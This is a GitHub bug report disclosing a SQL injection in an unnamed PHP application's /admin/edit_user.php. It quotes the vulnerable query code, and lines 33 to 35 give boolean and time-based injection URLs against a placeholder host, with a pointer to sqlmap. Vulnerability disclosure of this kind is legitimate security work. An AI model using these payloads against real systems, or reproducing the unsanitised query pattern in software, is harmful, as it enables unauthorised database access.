

main ▾

...

## bug\_report / bug\_f



jsjbcyber Create bug\_f

[History](#)


1 contributor

37 lines (33 sloc) | 1.34 KB

...

```
1 affected source code file: /admin/edit_user.php
2 -----
3 affected source code:
4
5 <?php
6     ....
7     if (empty($errors)) {
8
9         $id = mysql_prep($_GET['user']);
10        if ($_POST['password'] != "") {
11            $password = mysql_prep($_POST['password']);
12            $h_password = sha1($password);
13        } else {
14            $query = "SELECT h_password FROM users WHERE id = {$id}";
15            ....
16        <?php
17            $query = "SELECT * FROM users WHERE id = '{$_GET['user']}'";
18            $result = mysql_query($query);
19            confirm_query($result);
20            $userData = mysql_fetch_array($result);
21        ?>
22        ....
23    ?>
24    -----
25 affected position:
26     $id = mysql_prep($_GET['user']);
27     $query = "SELECT h_password FROM users WHERE id = {$id}";
28
29     $query = "SELECT * FROM users WHERE id = '{$_GET['user']}'";
```

```
30         We can see the $user and $id parameter has not been safely processed. So, the SQL injection
31 -----
32 affected executable:
33     Like this: http://xx.xx.com/admin/edit_user.php?user=1 and 1=1
34               http://xx.xx.com/admin/edit_user.php?user=1 and 1=2
35               http://xx.xx.com/admin/edit_user.php?user=1 RLIKE SLEEP(2)
36
37 Then, we can use tools like sqlmap for more information.
```

A horizontal scrollbar is located at the bottom of the code block. It consists of a grey track with a darker grey slider. The slider is positioned approximately one-third of the way from the left. There are small black arrowheads at both ends of the track.